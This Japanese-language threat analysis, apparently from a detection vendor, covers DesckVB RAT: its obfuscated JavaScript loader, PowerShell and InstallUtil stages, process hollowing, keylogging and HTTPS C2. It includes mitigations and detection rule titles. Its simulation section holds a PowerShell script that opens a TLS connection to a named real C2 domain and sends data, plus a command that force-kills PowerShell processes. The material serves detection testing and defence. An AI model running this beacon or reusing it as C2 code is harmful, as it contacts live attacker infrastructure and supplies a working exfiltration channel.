DesckVB RAT解析:JavaScriptローダーからファイルレス.NET RATまで
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
DesckVB RATはJavaScriptを利用したトロイの木馬で、PowerShellローダーに連鎖し、メモリ内で直接ファイルレスの.NET DLLを取得して実行します。実行を隠すため、ローダーはBase64エンコーディングと文字列の逆順難読化に依存し、InstallUtil.exeをLOLBinとして悪用し、CreateProcessAを使用して新しいプロセスを生成します。アクティブになると、RATは暗号化されたHTTPS C2通信を確立し、キーロギング、ウェブカメラアクセス、およびアンチウイルス対策の発見をサポートするモジュールを提供します。
調査
分析によると、初期のJavaScriptステージはPowerShellスクリプトをC:UsersPublicに書き込み、難読化されたドメインにアクセスして.NETアセンブリ(例:ClassLibrary3.dll)をダウンロードします。このアセンブリは、サポートDLLをロードし、サスペンドされたプロセスを作成し、ペイロードコードを注入しながら、二次的な悪意のあるドメインやポートなどの構成情報を報告します。ネットワークテレメトリは、感染したホストから攻撃者のC2インフラストラクチャへのTLSで暗号化された通信を確認します。
緩和策
信頼されていないまたは署名されていないPowerShellスクリプトの実行をブロックし、InstallUtil.exeの使用を非管理者または予期しないワークフローで制限します。厳しい送信コントロールを適用し、可能な限りHTTPS検査を含め、特定された悪意のあるインフラストラクチャに対するドメイン評価フィルタリングを行います。エンドポイントでは、サスペンドプロセスフラグと一致するCreateProcessA使用を検出し、メモリ内の.NETアセンブリのロードパターンを警告とする一方、ファイルレスインジェクションを検出します。
対応
インジケーターが検出された場合、エンドポイントを隔離し、悪意のあるプロセスチェーンを停止し、メモリダンプをキャプチャしてメモリアセンブリと注入された領域を分析します。C:UsersPublicからドロップされたPowerShellアーティファクトを削除し、関連するDLLまたはローダーの残りを根絶します。影響を受けた資格情報をリセットし、露出した秘密情報をローテーションし、リストされたドメインおよびポートへの送信接続のファイアウォール/プロキシログを確認します。
"graph TB %% クラスの定義 classDef action fill:#ffcc99 classDef tool fill:#99ccff classDef malware fill:#ccffcc classDef file fill:#dddddd %% ノード loader_js["<b>ツール</b> – <b>名前</b>:難読化されたJavaScriptローダー<br/><b>技術</b>:T1027.006 HTML隠密化<br/><b>技術</b>:T1027.008 取り除かれたペイロード<br/><b>説明</b>:Base64と逆向き文字列を使用してコマンドを隠す"] class loader_js tool powershell_script["<b>ツール</b> – <b>名前</b>:PowerShellスクリプト lkpzw_01.ps1<br/><b>技術</b>:T1059.001 PowerShell<br/><b>説明</b>:実行ポリシーをバイパスして実行"] class powershell_script tool dotnet_assembly["<b>ファイル</b>:悪意のある.NETアセンブリ"] class dotnet_assembly file installutil_execution["<b>ツール</b> – <b>名前</b>:InstallUtil.exe<br/><b>技術</b>:T1218.004 システムバイナリープロキシ実行<br/><b>説明</b>:信頼されたシステムバイナリーを介して.NET DLLを実行"] class installutil_execution tool dotnet_reflection["<b>マルウェア</b> – <b>名前</b>:ClassLibrary3.dll<br/><b>技術</b>:T1620 反射的コードローディング<br/><b>説明</b>:反射を使用してメモリに直接アセンブリを読み込む"] class dotnet_reflection malware process_hollow["<b>アクション</b> – <b>技術</b>:T1055.012 プロセスホローイング<br/><b>説明</b>:サスペンドされたプロセスを作成し、悪意のあるコードを注入する"] class process_hollow action thread_hijack["<b>アクション</b> – <b>技術</b>:T1055.003 スレッド実行のハイジャック<br/><b>説明</b>:ターゲットプロセス内でスレッド実行をハイジャックする"] class thread_hijack action dll_hijack["<b>アクション</b> – <b>技術</b>:T1574.001 DLLハイジャック実行フロー<br/><b>説明</b>:機能を拡張するために追加のDLLをメモリに読み込む"] class dll_hijack action keylogger_module["<b>マルウェア</b> – <b>名前</b>:Microsoft.exe<br/><b>技術</b>:T1056.001 キーロギング<br/><b>説明</b>:キーロガーおよび他のモジュールをドロップする"] class keylogger_module malware c2_https["<b>アクション</b> – <b>技術</b>:T1071.001 Webプロトコル<br/><b>説明</b>:正当なトラフィックに紛れてHTTPSを介した通信"] class c2_https action %% 接続 loader_js –>|書き込みと実行| powershell_script powershell_script –>|アセンブリをダウンロード| dotnet_assembly dotnet_assembly –>|実行される| installutil_execution installutil_execution –>|反射でロード| dotnet_reflection dotnet_reflection –>|サスペンドプロセスを作成| process_hollow process_hollow –>|スレッドハイジャックを使用| thread_hijack thread_hijack –>|追加のDLLをロード| dll_hijack dll_hijack –>|有効化| keylogger_module keylogger_module –>|C2と通信| c2_https "
攻撃フロー
検出
Powershellがバイパス実行ポリシーを使用して疑わしいディレクトリでファイルを実行(コマンドライン経由)
表示
LOLBAS WScript / CScript(プロセス作成経由)
表示
疑わしいPowershell文字列(powershell経由)
表示
Powershellコマンドラインからの疑わしい.NETクラス/メソッド呼び出し(プロセス作成経由)
表示
公共ユーザープロファイルにある疑わしいファイル(file_event経由)
表示
公共ユーザープロファイルからの疑わしい実行(プロセス作成経由)
表示
IOCs(SourceIP)を検出する:DesckVB RAT分析:JavaScriptローダーからファイルレス.NET RATまで
表示
IOCs(HashMd5)を検出する:DesckVB RAT分析:JavaScriptローダーからファイルレス.NET RATまで
表示
IOCs(HashSha256)を検出する:DesckVB RAT分析:JavaScriptローダーからファイルレス.NET RATまで
表示
IOCs(DestinationIP)を検出する:DesckVB RAT分析:JavaScriptローダーからファイルレス.NET RATまで
表示
DesckVB RAT C2通信の検出 [Windowsネットワーク接続]
表示
DesckVB RATのPowerShellおよびInstallUtil実行の検出 [Windows PowerShell]
表示
シミュレーション実行
前提条件:テレメトリおよびベースラインの事前チェックが通過していること。
根拠:このセクションは、検出ルールをトリガーするように設計された敵の手法(TTP)の正確な実行を詳しく説明します。コマンドと説明は、特定されたTTPに直接反映され、検出ロジックで期待されるテレメトリを正確に生成することを目的としています。抽象的または無関係な例は誤診につながります。
-
攻撃ストーリーとコマンド:
攻撃者は最初の足掛かりを得た後、PowerShellベースの「リビングオフザランド」ペイロードを立ち上げ、ハードコードされたC2ドメインへのTLSでラップされたTCP接続を開きますmanikandan83.mysynology.netポート7535で。ペイロードはBase64でダミーデータブロックをエンコード(T1132.002を示す)し、TLSチャネルを介してストリームします。PowerShellの.NETクラスが使用されるため、DesckVB RATのファイルレスな性質を反映して、外部バイナリはディスクに書き込まれません。接続は子プロセス(powershell.exeによって確立され、Sysmonでネットワーク接続イベントとして正確なドメイン、ポート、およびTLSハンドシェイクフラグがルールでモニターされます。 -
回帰テストスクリプト:
# -------------------------------------------------------------- # DesckVB RAT C2通信シミュレーション(PowerShell) # -------------------------------------------------------------- # パラメータ $c2Domain = "manikandan83.mysynology.net" $c2Port = 7535 # ダミーペイロード(Base64エンコード) – 転送されたデータを表す $payload = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("sensor_data=42")) try { # TCP接続を確立 $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Domain, $c2Port) $netStream = $tcpClient.GetStream() # TLSでラップ(SslStream) $sslStream = New-Object System.Net.Security.SslStream($netStream,$false,({$true})) $sslStream.AuthenticateAsClient($c2Domain) Write-Host "[+] TLSハンドシェイクが$c2Domain:$c2Portで完了しました" # ペイロード長プレフィックス(4バイトビッグエンディアン)を送信し、データを送信 $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload) $len = [BitConverter]::GetBytes([System.Net.IPAddress]::HostToNetworkOrder($bytes.Length)) $sslStream.Write($len,0,$len.Length) $sslStream.Write($bytes,0,$bytes.Length) $sslStream.Flush() Write-Host "[+] ペイロード送信(Base64長$($bytes.Length))" } catch { Write-Error "[-] 接続に失敗しました: $_" } finally { # 正常なシャットダウン if ($sslStream) { $sslStream.Close() } if ($netStream) { $netStream.Close() } if ($tcpClient) { $tcpClient.Close() } Write-Host "[*] 接続が終了しました。" } -
クリーンアップコマンド:
# 残っているPowerShell NetTCP接続を確実に閉じる Get-Process -Name powershell | Where-Object { $_.Modules.ModuleName -match 'System.Net.Sockets.TcpClient' } | Stop-Process -Force # オプション:Sysmonを削除(これが一度限りのテスト環境の場合) # & "$env:ProgramFilesSysmonSysmon.exe" -u